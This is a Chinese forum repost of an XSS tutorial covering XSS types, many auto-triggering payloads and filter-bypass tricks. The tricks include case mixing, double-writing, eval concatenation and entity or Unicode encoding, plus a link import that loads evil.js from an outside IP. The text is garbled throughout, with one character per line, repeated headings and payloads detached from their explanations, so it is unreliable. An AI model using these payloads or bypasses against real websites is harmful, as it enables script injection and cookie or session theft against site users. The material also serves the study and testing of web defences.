论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[18569] 2021-06-03_干货学习XSS从入门到熟悉
文档创建者:
s7ckTeam
浏览次数:
4
最后更新:
2025-01-18
IOT
4 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2021-06-03_干货学习XSS从入门到熟悉
干
货
|
学
习
X
S
S
从
入
门
到
熟
悉
原
创
W
H
O
A
M
I
H
A
C
K
学
习
呀
2
0
2
1
-
0
6
-
0
3
文
章
首
发
先
知
社
区
文
章
首
发
先
知
社
区
X
S
S
简
介
简
介
X
S
S
,
全
称
C
r
o
s
s
S
i
t
e
S
c
r
i
p
t
i
n
g
,
即
跨
站
脚
本
攻
击
,
是
最
普
遍
的
W
e
b
应
用
安
全
漏
洞
。
这
类
漏
洞
能
够
使
得
攻
击
者
嵌
入
恶
意
脚
本
代
码
到
正
常
用
户
会
访
问
到
的
页
面
中
,
当
正
常
用
户
访
问
该
页
面
时
,
则
可
导
致
嵌
入
的
恶
意
脚
本
代
码
的
执
行
,
从
而
达
到
恶
意
攻
击
用
户
的
目
的
。
需
要
强
调
的
是
,
X
S
S
不
仅
仅
限
于
J
a
v
a
S
c
r
i
p
t
,
还
包
括
f
l
a
s
h
等
其
它
脚
本
语
言
。
根
据
攻
击
代
码
的
工
作
方
式
,
X
S
S
可
以
分
为
反
射
型
的
X
S
S
、
存
储
型
的
X
S
S
和
D
O
M
型
的
X
S
S
。
反
射
型
反
射
型
反
射
型
的
X
S
S
是
非
持
久
化
的
,
攻
击
者
事
先
制
作
好
攻
击
链
接
,
需
要
欺
骗
用
户
自
己
去
点
击
链
接
才
能
触
发
X
S
S
代
码
,
但
是
服
务
器
中
没
有
这
样
的
页
面
和
内
容
,
一
般
容
易
出
现
在
搜
索
页
面
。
存
储
型
存
储
型
存
储
型
的
X
S
S
是
持
久
化
的
,
代
码
是
存
储
在
服
务
器
中
的
,
如
在
个
人
信
息
或
发
表
文
章
等
地
方
,
加
入
代
码
,
如
果
没
有
过
滤
或
过
滤
不
严
,
那
么
这
些
代
码
将
储
存
到
服
务
器
中
,
每
当
有
用
户
访
问
该
页
面
的
时
候
都
会
触
发
代
码
执
行
。
这
种
X
S
S
非
常
危
险
,
容
易
造
成
蠕
虫
,
大
量
盗
窃
c
o
o
k
i
e
。
D
O
M
型
型
D
O
M
型
的
X
S
S
是
基
于
文
档
对
象
模
型
D
o
c
u
m
e
n
t
O
b
j
e
e
t
M
o
d
e
l
,
D
O
M
)
的
一
种
漏
洞
。
D
O
M
是
一
个
与
平
台
、
编
程
语
言
无
关
的
接
口
,
它
允
许
程
序
或
脚
本
动
态
地
访
问
和
更
新
文
档
内
容
、
结
构
和
样
式
,
处
理
后
的
结
果
能
够
成
为
显
示
页
面
的
一
部
分
。
D
O
M
中
有
很
多
对
象
,
其
中
一
些
是
用
户
可
以
操
纵
的
,
如
u
R
I
,
l
o
c
a
t
i
o
n
,
r
e
f
e
l
T
e
r
等
。
客
户
端
的
脚
本
程
序
可
以
通
过
D
O
M
动
态
地
检
查
和
修
改
页
面
内
容
,
它
不
依
赖
于
提
交
数
据
到
服
务
器
端
,
而
从
客
户
端
获
得
D
O
M
中
的
数
据
在
本
地
执
行
,
如
果
D
O
M
中
的
数
据
没
有
经
过
严
格
确
认
,
就
会
产
生
D
O
M
X
S
S
漏
洞
。
例
如
服
务
器
端
经
常
使
用
d
o
c
u
m
e
n
t
.
b
o
b
y
.
i
n
n
e
r
H
t
m
l
等
函
数
动
态
生
成
h
t
m
l
页
面
,
如
果
这
些
函
数
在
引
用
某
些
变
量
时
没
有
进
行
过
滤
或
检
查
,
就
会
产
生
D
O
M
型
的
X
S
S
。
D
O
M
型
X
S
S
可
能
是
存
储
型
,
也
有
可
能
是
反
射
型
。
一
些
常
用
的
标
签
与
属
性
一
些
常
用
的
标
签
与
属
性
下
面
我
列
举
的
标
签
大
部
分
是
可
以
自
动
触
发
j
s
代
码
的
,
无
需
用
户
去
交
互
,
大
部
分
情
况
下
我
们
也
是
希
望
是
自
动
触
发
而
不
是
等
用
户
去
触
发
。
s
c
i
r
p
t
标
签
标
签
标
签
用
于
定
义
客
户
端
脚
本
,
比
如
J
a
v
a
S
c
r
i
p
t
。
i
m
g
标
签
标
签
标
签
定
义
H
T
M
L
页
面
中
的
图
像
。
i
n
p
u
t
标
签
标
签
标
签
规
定
了
用
户
可
以
在
其
中
输
入
数
据
的
输
入
字
段
。
o
n
f
o
c
u
s
事
件
在
对
象
获
得
焦
点
时
发
生
:
竞
争
焦
点
,
从
而
触
发
o
n
b
l
u
r
事
件
:
i
n
p
u
t
标
签
的
a
u
t
o
f
o
c
u
s
属
性
规
定
当
页
面
加
载
时
元
素
应
该
自
动
获
得
焦
点
。
可
以
通
过
a
u
t
o
f
o
c
u
s
属
性
自
动
执
行
本
身
的
f
o
c
u
s
事
件
,
这
个
向
量
是
使
焦
点
自
动
跳
到
输
入
元
素
上
,
触
发
焦
点
事
件
,
无
需
用
户
去
触
发
:
<
s
c
r
i
p
t
>
<
s
c
r
i
p
t
>
a
l
e
r
t
(
1
)
;
<
/
s
c
r
i
p
t
>
<
s
c
r
i
p
t
>
a
l
e
r
t
(
"
x
s
s
"
)
;
<
/
s
c
r
i
p
t
>
<
i
m
g
>
<
i
m
g
s
r
c
=
1
o
n
e
r
r
o
r
=
a
l
e
r
t
(
1
)
;
>
<
i
m
g
s
r
c
=
1
o
n
e
r
r
o
r
=
a
l
e
r
t
(
"
x
s
s
"
)
;
>
<
i
n
p
u
t
>
<
i
n
p
u
t
o
n
f
o
c
u
s
=
a
l
e
r
t
(
1
)
;
>
<
i
n
p
u
t
o
n
b
l
u
r
=
a
l
e
r
t
(
1
)
a
u
t
o
f
o
c
u
s
>
<
i
n
p
u
t
a
u
t
o
f
o
c
u
s
>
<
i
n
p
u
t
>
d
e
t
a
i
l
s
标
签
标
签
标
签
通
过
提
供
用
户
开
启
关
闭
的
交
互
式
控
件
,
规
定
了
用
户
可
见
的
或
者
隐
藏
的
需
求
的
补
充
细
节
。
o
n
t
o
g
g
l
e
事
件
规
定
了
在
用
户
打
开
或
关
闭
元
素
时
触
发
:
使
用
d
e
t
a
i
l
s
标
签
的
o
p
e
n
属
性
触
发
o
n
t
o
g
g
l
e
事
件
,
无
需
用
户
去
点
击
即
可
触
发
:
s
v
g
标
签
标
签
标
签
用
来
在
H
T
M
L
页
面
中
直
接
嵌
入
S
V
G
文
件
的
代
码
。
s
e
l
e
c
t
标
签
标
签
标
签
用
来
创
建
下
拉
列
表
。
通
过
a
u
t
o
f
o
c
u
s
属
性
规
定
当
页
面
加
载
时
元
素
应
该
自
动
获
得
焦
点
,
这
个
向
量
是
使
焦
点
自
动
跳
到
输
入
元
素
上
,
触
发
焦
点
事
件
,
无
需
用
户
去
触
发
:
i
f
r
a
m
e
标
签
标
签
标
签
会
创
建
包
含
另
外
一
个
文
档
的
内
联
框
架
。
v
i
d
e
o
标
签
标
签
标
签
定
义
视
频
,
比
如
电
影
片
段
或
其
他
视
频
流
。
<
i
n
p
u
t
o
n
f
o
c
u
s
=
"
a
l
e
r
t
(
1
)
;
"
a
u
t
o
f
o
c
u
s
>
<
d
e
t
a
i
l
s
>
<
d
e
t
a
i
l
s
>
<
d
e
t
a
i
l
s
o
n
t
o
g
g
l
e
=
a
l
e
r
t
(
1
)
;
>
<
d
e
t
a
i
l
s
o
p
e
n
o
n
t
o
g
g
l
e
=
a
l
e
r
t
(
1
)
;
>
<
s
v
g
>
<
s
v
g
o
n
l
o
a
d
=
a
l
e
r
t
(
1
)
;
>
<
s
e
l
e
c
t
>
<
s
e
l
e
c
t
o
n
f
o
c
u
s
=
a
l
e
r
t
(
1
)
>
<
/
s
e
l
e
c
t
>
<
s
e
l
e
c
t
o
n
f
o
c
u
s
=
a
l
e
r
t
(
1
)
a
u
t
o
f
o
c
u
s
>
<
i
f
r
a
m
e
>
<
i
f
r
a
m
e
o
n
l
o
a
d
=
a
l
e
r
t
(
1
)
;
>
<
/
i
f
r
a
m
e
>
<
v
i
d
e
o
>
a
u
d
i
o
标
签
标
签
标
签
定
义
声
音
,
比
如
音
乐
或
其
他
音
频
流
。
b
o
d
y
标
签
标
签
标
签
定
义
文
档
的
主
体
。
o
n
s
c
r
o
l
l
事
件
在
元
素
滚
动
条
在
滚
动
时
触
发
。
我
们
可
以
利
用
换
行
符
以
及
a
u
t
o
f
o
c
u
s
,
当
用
户
滑
动
滚
动
条
的
时
候
自
动
触
发
,
无
需
用
户
去
点
击
触
发
:
t
e
x
t
a
r
e
a
标
签
标
签
标
签
定
义
一
个
多
行
的
文
本
输
入
控
件
。
k
e
y
g
e
n
标
签
标
签
m
a
r
q
u
e
e
标
签
标
签
i
s
i
n
d
e
x
标
签
标
签
利
用
利
用
l
i
n
k
远
程
包
含
远
程
包
含
J
a
v
a
S
c
r
i
p
t
文
件
文
件
<
v
i
d
e
o
>
<
s
o
u
r
c
e
o
n
e
r
r
o
r
=
a
l
e
r
t
(
1
)
>
<
a
u
d
i
o
>
<
a
u
d
i
o
s
r
c
=
x
o
n
e
r
r
o
r
=
a
l
e
r
t
(
1
)
;
>
<
b
o
d
y
>
<
b
o
d
y
o
n
l
o
a
d
=
a
l
e
r
t
(
1
)
;
>
<
b
o
d
y
o
n
s
c
r
o
l
l
=
a
l
e
r
t
(
1
)
;
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
b
r
>
<
<
t
e
x
t
a
r
e
a
>
<
t
e
x
t
a
r
e
a
o
n
f
o
c
u
s
=
a
l
e
r
t
(
1
)
;
a
u
t
o
f
o
c
u
s
>
<
k
e
y
g
e
n
a
u
t
o
f
o
c
u
s
o
n
f
o
c
u
s
=
a
l
e
r
t
(
1
)
>
/
/
仅
限
火
狐
<
m
a
r
q
u
e
e
o
n
s
t
a
r
t
=
a
l
e
r
t
(
1
)
>
<
/
m
a
r
q
u
e
e
>
/
/
C
h
r
o
m
e
不
行
,
火
狐
和
I
E
都
可
以
<
i
s
i
n
d
e
x
t
y
p
e
=
i
m
a
g
e
s
r
c
=
1
o
n
e
r
r
o
r
=
a
l
e
r
t
(
1
)
>
/
/
仅
限
于
I
E
<
l
i
n
k
>
标
签
定
义
文
档
与
外
部
资
源
的
关
系
。
在
无
C
S
P
的
情
况
下
才
可
以
使
用
:
利
用
利
用
J
a
v
a
S
c
r
i
p
t
伪
协
议
伪
协
议
这
个
特
殊
的
协
议
类
型
声
明
了
U
R
L
的
主
体
是
任
意
的
j
a
v
a
s
c
r
i
p
t
代
码
,
它
由
j
a
v
a
s
c
r
i
p
t
的
解
释
器
运
行
。
当
浏
览
器
装
载
了
这
样
的
U
R
L
时
,
并
不
会
转
向
某
个
U
R
L
,
而
是
执
行
这
个
U
R
L
中
包
含
的
j
a
v
a
s
c
r
i
p
t
代
码
,
并
把
最
后
一
条
j
a
v
a
s
c
r
i
p
t
语
句
的
字
符
串
值
作
为
新
文
档
的
内
容
显
示
出
来
。
a
标
签
标
签
i
f
r
a
m
e
标
签
标
签
i
m
g
标
签
标
签
f
o
r
m
标
签
标
签
X
S
S
常
见
绕
过
姿
势
常
见
绕
过
姿
势
<
l
i
n
k
r
e
l
=
i
m
p
o
r
t
h
r
e
f
=
"
h
t
t
p
:
/
/
4
7
.
x
x
x
.
x
x
x
.
7
2
/
e
v
i
l
.
j
s
"
>
j
a
v
a
s
c
r
i
p
t
:
<
a
h
r
e
f
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
1
)
;
"
>
x
s
s
<
/
a
>
<
i
f
r
a
m
e
s
r
c
=
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
1
)
;
>
<
/
i
f
r
a
m
e
>
<
i
m
g
s
r
c
=
x
o
n
e
r
r
o
r
=
a
l
e
r
t
(
1
)
>
<
i
m
g
s
r
c
=
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
1
)
>
/
/
I
E
7
以
下
<
f
o
r
m
a
c
t
i
o
n
=
"
J
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
1
)
"
>
<
i
n
p
u
t
t
y
p
e
=
s
u
b
m
i
t
>
绕
过
空
格
过
滤
绕
过
空
格
过
滤
当
空
格
被
过
滤
了
时
,
我
们
可
以
用
来
代
替
空
格
:
也
可
以
:
绕
过
引
号
过
滤
绕
过
引
号
过
滤
如
果
是
h
t
m
l
标
签
中
,
我
们
可
以
不
用
引
号
。
如
果
是
在
j
s
中
,
我
们
可
以
用
反
引
号
代
替
单
双
引
号
:
绕
过
括
号
过
滤
绕
过
括
号
过
滤
/
<
i
m
g
/
s
r
c
=
"
x
"
/
o
n
e
r
r
o
r
=
a
l
e
r
t
(
1
)
;
>
<
i
m
g
/
s
r
c
=
"
x
"
o
n
e
r
r
o
r
=
a
l
e
r
t
(
1
)
;
>
<
i
m
g
s
r
c
=
x
o
n
e
r
r
o
r
=
a
l
e
r
t
(
`
x
s
s
`
)
;
>
当
括
号
被
过
滤
的
时
候
可
以
使
用
t
h
r
o
w
来
绕
过
。
t
h
r
o
w
语
句
用
于
当
错
误
发
生
时
抛
出
一
个
错
误
。
绕
过
关
键
字
过
滤
绕
过
关
键
字
过
滤
大
小
写
绕
过
大
小
写
绕
过
双
写
绕
过
双
写
绕
过
有
些
w
a
f
可
能
会
只
替
换
一
次
且
是
替
换
为
空
,
这
种
情
况
下
我
们
可
以
考
虑
双
写
关
键
字
绕
过
字
符
串
拼
接
绕
过
字
符
串
拼
接
绕
过
利
用
利
用
e
v
a
l
(
)
函
数
函
数
与
P
H
P
的
e
v
a
l
(
)
函
数
相
同
,
J
a
v
a
S
c
r
i
p
t
的
e
v
a
l
(
)
函
数
也
可
以
计
算
J
a
v
a
S
c
r
i
p
t
字
符
串
,
并
把
它
作
为
脚
本
代
码
来
执
行
。
利
用
利
用
t
o
p
X
S
S
输
出
点
总
结
输
出
点
总
结
W
A
F
最
大
的
问
题
,
在
于
不
知
道
输
出
的
位
置
,
导
致
攻
击
者
根
据
具
体
环
境
以
及
具
体
输
出
的
标
签
类
型
便
可
以
绕
过
。
输
出
在
属
性
里
输
出
在
属
性
里
例
如
输
出
的
位
置
位
于
v
a
l
u
e
属
性
中
:
<
i
m
g
s
r
c
=
x
o
n
e
r
r
o
r
=
"
j
a
v
a
s
c
r
i
p
t
:
w
i
n
d
o
w
.
o
n
e
r
r
o
r
=
a
l
e
r
t
;
t
h
r
o
w
1
"
>
<
a
o
n
m
o
u
s
e
o
v
e
r
=
"
j
a
v
a
s
c
r
i
p
t
:
w
i
n
d
o
w
.
o
n
e
r
r
o
r
=
a
l
e
r
t
;
t
h
r
o
w
1
>
<
s
C
R
i
P
t
>
a
l
e
r
t
(
1
)
;
<
/
s
C
r
I
p
T
>
<
I
m
G
s
R
c
=
x
o
n
e
r
R
o
r
=
a
l
e
r
t
(
1
)
;
>
<
s
c
r
s
c
r
i
p
t
i
p
t
>
a
l
e
r
t
(
1
)
;
<
/
s
c
r
s
c
r
i
p
t
i
p
t
>
<
i
m
i
m
g
g
s
r
s
r
c
c
=
x
o
n
e
r
r
o
r
=
a
l
e
r
t
(
1
)
;
>
<
i
m
g
s
r
c
=
"
x
"
o
n
e
r
r
o
r
=
"
a
=
'
a
l
e
r
'
;
b
=
'
t
'
;
c
=
'
(
1
)
'
;
e
v
a
l
(
a
+
b
+
c
)
"
>
<
i
m
g
s
r
c
=
"
x
"
o
n
e
r
r
o
r
=
"
a
=
`
a
l
e
r
`
;
b
=
`
t
`
;
c
=
'
(
`
x
s
s
`
)
;
'
;
e
v
a
l
(
a
+
b
+
c
)
"
>
/
/
在
j
s
中
,
我
们
可
以
用
反
引
号
代
替
单
双
引
号
<
s
c
r
i
p
t
>
t
o
p
[
"
a
l
"
+
"
e
r
t
"
]
(
`
x
s
s
`
)
;
<
/
s
c
r
i
p
t
>
<
s
c
r
i
p
t
>
t
o
p
[
"
a
l
"
+
"
e
r
t
"
]
(
"
x
s
s
"
)
;
<
/
s
c
r
i
p
t
>
<
i
n
p
u
t
v
a
l
u
e
=
"
[
输
出
]
"
t
y
p
e
=
t
e
x
t
>
我
们
可
以
选
择
直
接
闭
合
标
签
:
如
果
被
过
滤
的
话
可
以
换
成
选
择
使
用
事
件
来
闭
合
属
性
,
并
将
后
面
的
引
号
注
释
掉
或
闭
合
:
同
样
还
有
很
多
其
他
的
p
a
y
l
o
a
d
:
还
有
一
些
特
殊
的
场
景
,
如
:
这
里
只
能
把
i
n
p
u
t
标
签
闭
合
,
然
后
直
接
执
行
脚
本
,
否
则
会
因
为
t
y
p
e
为
h
i
d
d
e
n
导
致
无
法
执
行
脚
本
。
输
出
在
输
出
在
H
T
M
L
标
签
之
间
标
签
之
间
例
如
输
出
的
位
置
如
下
:
直
接
提
交
即
可
触
发
X
S
S
,
但
是
当
标
签
是
不
能
执
行
脚
本
的
标
签
时
,
如
下
面
这
几
个
:
•
•
•
•
那
么
就
得
先
把
那
个
标
签
闭
合
(
后
文
会
讲
到
原
理
)
,
然
后
在
注
入
X
S
S
语
句
,
例
如
:
"
>
<
i
m
g
s
r
c
=
x
o
n
e
r
r
o
r
=
a
l
e
r
t
(
1
)
;
>
/
/
输
出
后
如
下
:
/
/
<
i
n
p
u
t
v
a
l
u
e
=
"
"
>
<
i
m
g
s
r
c
=
x
o
n
e
r
r
o
r
=
a
l
e
r
t
(
1
)
;
>
"
t
y
p
e
=
t
e
x
t
>
<
>
"
a
u
t
o
f
o
c
u
s
o
n
f
o
c
u
s
=
a
l
e
r
t
(
1
)
/
/
"
a
u
t
o
f
o
c
u
s
o
n
f
o
c
u
s
=
a
l
e
r
t
(
1
)
"
/
/
输
出
后
如
下
:
/
/
<
i
n
p
u
t
v
a
l
u
e
=
"
"
a
u
t
o
f
o
c
u
s
o
n
f
o
c
u
s
=
a
l
e
r
t
(
1
)
/
/
"
t
y
p
e
=
t
e
x
t
>
"
o
n
m
o
u
s
e
o
v
e
r
=
p
r
o
m
p
t
(
0
)
x
=
"
"
o
n
f
o
c
u
s
i
n
=
a
l
e
r
t
(
1
)
a
u
t
o
f
o
c
u
s
x
=
"
"
o
n
f
o
c
u
s
o
u
t
=
a
l
e
r
t
(
1
)
a
u
t
o
f
o
c
u
s
x
=
"
"
o
n
b
l
u
r
=
a
l
e
r
t
(
1
)
a
u
t
o
f
o
c
u
s
a
=
"
<
i
n
p
u
t
t
y
p
e
=
"
h
i
d
d
e
n
"
v
a
l
u
e
=
"
[
输
出
]
"
/
>
<
i
n
p
u
t
v
a
l
u
e
=
"
[
输
出
点
]
"
t
y
p
e
=
"
h
i
d
d
e
n
"
/
>
<
d
i
v
i
d
=
"
b
o
d
y
"
>
[
输
出
]
<
/
d
i
v
>
<
s
c
r
i
p
t
>
a
l
e
r
t
(
1
)
<
/
s
c
r
i
p
t
>
<
t
i
t
l
e
>
<
/
t
i
t
l
e
>
<
t
e
x
t
a
r
e
a
>
<
/
t
e
x
t
a
r
e
a
>
<
x
m
p
>
<
/
x
m
p
>
<
i
f
r
a
m
e
>
<
/
i
f
r
a
m
e
>
输
出
在
输
出
在
s
c
r
i
p
t
标
签
之
间
标
签
之
间
例
如
:
可
控
位
置
在
i
n
p
u
t
,
可
以
闭
合
s
c
r
i
p
t
标
签
插
入
代
码
,
但
是
同
样
我
们
仅
仅
闭
合
双
引
号
就
可
以
执
行
j
s
代
码
了
:
X
S
S
字
符
编
码
绕
过
字
符
编
码
绕
过
在
X
S
S
中
,
还
有
一
个
绕
过
关
键
字
过
滤
的
方
法
,
那
就
是
字
符
编
码
绕
过
。
这
里
给
出
一
个
编
码
网
站
:
h
t
t
p
s
:
/
/
b
i
a
n
m
a
.
b
m
c
x
.
c
o
m
/
编
码
属
于
计
算
机
系
统
的
基
础
知
识
,
其
内
容
写
起
来
估
计
也
可
以
出
本
书
了
,
不
过
或
多
或
少
我
们
都
有
所
了
解
,
总
的
来
说
,
编
码
就
是
将
字
符
变
为
二
进
制
数
,
而
解
码
就
是
将
二
进
制
数
还
原
为
字
符
。
从
浏
览
器
请
求
u
r
l
到
在
页
面
上
显
示
出
来
也
经
历
了
一
些
编
码
和
解
码
过
程
,
下
面
大
概
介
绍
一
下
流
程
。
请
求
网
页
解
码
流
程
请
求
网
页
解
码
流
程
•
H
T
M
L
编
码
编
码
/
解
码
解
码
当
浏
览
器
接
收
到
服
务
端
发
送
来
的
二
进
制
数
据
后
,
首
先
会
对
其
进
行
H
T
M
L
解
码
,
呈
现
出
来
的
就
是
我
们
看
到
的
源
代
码
。
具
体
的
解
码
方
式
依
具
体
情
况
而
定
,
所
以
我
们
需
要
在
页
面
中
指
定
编
码
,
防
止
浏
览
器
按
照
错
误
的
方
式
解
码
,
造
成
乱
码
。
但
是
在
H
T
M
L
中
有
些
字
符
是
和
关
键
词
冲
突
的
,
比
如
、
、
,
解
码
之
后
,
浏
览
器
会
误
认
为
它
们
是
H
T
M
L
标
签
,
如
果
希
望
正
确
地
显
示
预
留
字
符
,
就
需
要
在
H
T
M
L
中
使
用
对
应
的
H
T
M
L
字
符
实
体
。
字
符
实
体
是
一
个
转
义
序
列
,
它
定
义
了
一
般
无
法
在
文
本
内
容
中
输
入
的
单
个
字
符
或
符
号
。
一
个
字
符
实
体
以
一
个
&
符
号
开
头
,
后
面
跟
着
一
个
预
定
义
的
实
体
的
名
称
,
或
用
&
#
开
头
+
实
体
编
号
+
分
号
来
表
示
。
常
见
的
H
T
M
L
字
符
实
体
有
:
显
示
结
果
显
示
结
果
描
述
描
述
实
体
名
称
实
体
名
称
实
体
编
号
实
体
编
号
空
格
<
/
t
e
x
t
a
r
e
a
>
<
s
c
r
i
p
t
>
a
l
e
r
t
(
1
)
<
/
s
c
r
i
p
t
>
<
s
c
r
i
p
t
>
v
a
r
x
=
"
i
n
p
u
t
"
;
<
/
s
c
r
i
p
t
>
"
;
a
l
e
r
t
(
1
)
/
/
/
/
输
出
后
如
下
:
/
/
<
s
c
r
i
p
t
>
v
a
r
x
=
"
"
;
a
l
e
r
t
(
1
)
/
/
"
;
<
/
s
c
r
i
p
t
>
<
>
&
&
n
b
s
p
;
&
#
1
6
0
;
<
小
于
号
>
大
于
号
&
和
号
"
引
号
'
撇
号
(
I
E
不
支
持
)
显
示
结
果
显
示
结
果
描
述
描
述
实
体
名
称
实
体
名
称
实
体
编
号
实
体
编
号
但
并
不
是
所
有
的
字
符
都
有
实
体
名
称
,
但
是
它
们
都
有
自
己
的
实
体
编
号
。
一
个
H
T
M
L
解
析
器
作
为
一
个
状
态
机
,
它
从
输
入
流
中
获
取
字
符
并
按
照
转
换
规
则
转
换
到
另
一
种
状
态
。
在
解
析
过
程
中
,
任
何
时
候
它
只
要
遇
到
一
个
符
号
(
后
面
没
有
跟
符
号
)
就
会
进
入
标
签
开
始
状
态
标
签
开
始
状
态
(
T
a
g
o
p
e
n
s
t
a
t
e
)
,
然
后
转
变
到
标
签
名
状
态
标
签
名
状
态
(
T
a
g
n
a
m
e
s
t
a
t
e
)
、
前
属
性
名
状
态
前
属
性
名
状
态
(
b
e
f
o
r
e
a
t
t
r
i
b
u
t
e
n
a
m
e
s
t
a
t
e
)
.
.
.
.
.
.
最
后
进
入
数
据
状
态
数
据
状
态
(
D
a
t
a
s
t
a
t
e
)
并
释
放
当
前
标
签
的
t
o
k
e
n
。
当
解
析
器
处
于
数
据
状
态
(
D
a
t
a
s
t
a
t
e
)
时
,
它
会
继
续
解
析
,
每
当
发
现
一
个
完
整
的
标
签
,
就
会
释
放
出
一
个
t
o
k
e
n
。
简
单
的
说
就
是
,
浏
览
器
对
H
T
M
L
解
码
之
后
就
开
始
解
析
H
T
M
L
文
档
,
将
众
多
标
签
转
化
为
内
容
树
中
的
D
O
M
节
点
,
此
时
识
别
标
签
的
时
候
,
H
T
M
L
解
析
器
是
无
法
识
别
那
些
被
实
体
编
码
的
内
容
的
,
只
有
建
立
起
D
O
M
树
,
才
能
对
每
个
节
点
的
内
容
进
行
识
别
,
如
果
出
现
实
体
编
码
,
则
会
进
行
实
体
解
码
,
只
要
是
D
O
M
节
点
里
属
性
的
值
,
都
可
以
被
H
T
M
L
编
码
和
解
析
。
所
以
在
P
H
P
中
,
使
用
h
t
m
l
s
p
e
c
i
a
l
c
h
a
r
s
(
)
函
数
把
预
定
义
的
字
符
转
换
为
H
T
M
L
实
体
,
只
有
等
到
D
O
M
树
建
立
起
来
后
,
才
会
解
析
H
T
M
L
实
体
,
起
到
了
X
S
S
防
护
作
用
。
•
U
R
L
解
码
解
码
U
R
L
编
码
是
为
了
允
许
U
R
L
中
存
在
汉
字
这
样
的
非
标
准
字
符
,
本
质
是
把
一
个
字
符
转
为
%
加
上
U
T
F
-
8
编
码
对
应
的
1
6
进
制
数
字
。
所
以
又
称
之
为
P
e
r
c
e
n
t
-
e
n
c
o
d
i
n
g
。
在
服
务
端
接
收
到
请
求
时
,
会
自
动
对
请
求
进
行
一
次
U
R
L
解
码
。
•
J
a
v
a
S
c
r
i
p
t
解
码
(
只
支
持
解
码
(
只
支
持
U
n
i
c
o
d
e
)
)
当
H
T
M
L
解
析
产
生
D
O
M
节
点
后
,
会
根
据
D
O
M
节
点
来
做
接
下
来
的
解
析
工
作
,
比
如
在
处
理
诸
如
、
这
样
的
标
签
时
,
解
析
器
会
自
动
切
换
到
J
a
v
a
S
c
r
i
p
t
解
析
模
式
,
而
、
后
边
加
入
的
j
a
v
a
s
c
r
i
p
t
伪
U
R
L
,
也
会
进
入
J
a
v
a
S
c
r
i
p
t
的
解
析
模
式
。
比
如
,
J
a
v
a
S
c
r
i
p
t
出
发
了
J
a
v
a
S
c
r
i
p
t
解
释
器
,
J
a
v
a
S
c
r
i
p
t
会
先
对
内
容
进
行
解
析
,
里
边
有
一
个
转
义
字
符
,
前
导
的
u
表
示
他
是
一
个
u
n
i
c
o
d
e
字
符
,
根
据
后
边
的
数
字
,
解
析
为
“
1
”
,
于
是
在
完
成
J
a
v
a
S
c
r
i
p
t
的
解
析
之
后
变
成
了
&
l
t
;
&
#
6
0
;
&
g
t
;
&
#
6
2
;
&
a
m
p
;
&
#
3
8
;
&
q
u
o
t
;
&
#
3
4
;
&
a
p
o
s
;
&
#
3
9
;
<
/
<
s
c
r
i
p
t
>
<
s
t
y
l
e
>
s
r
c
h
r
e
f
<
a
h
r
e
f
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
u
0
0
3
1
'
)
"
>
t
e
s
t
<
/
a
>
u
0
0
3
1
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页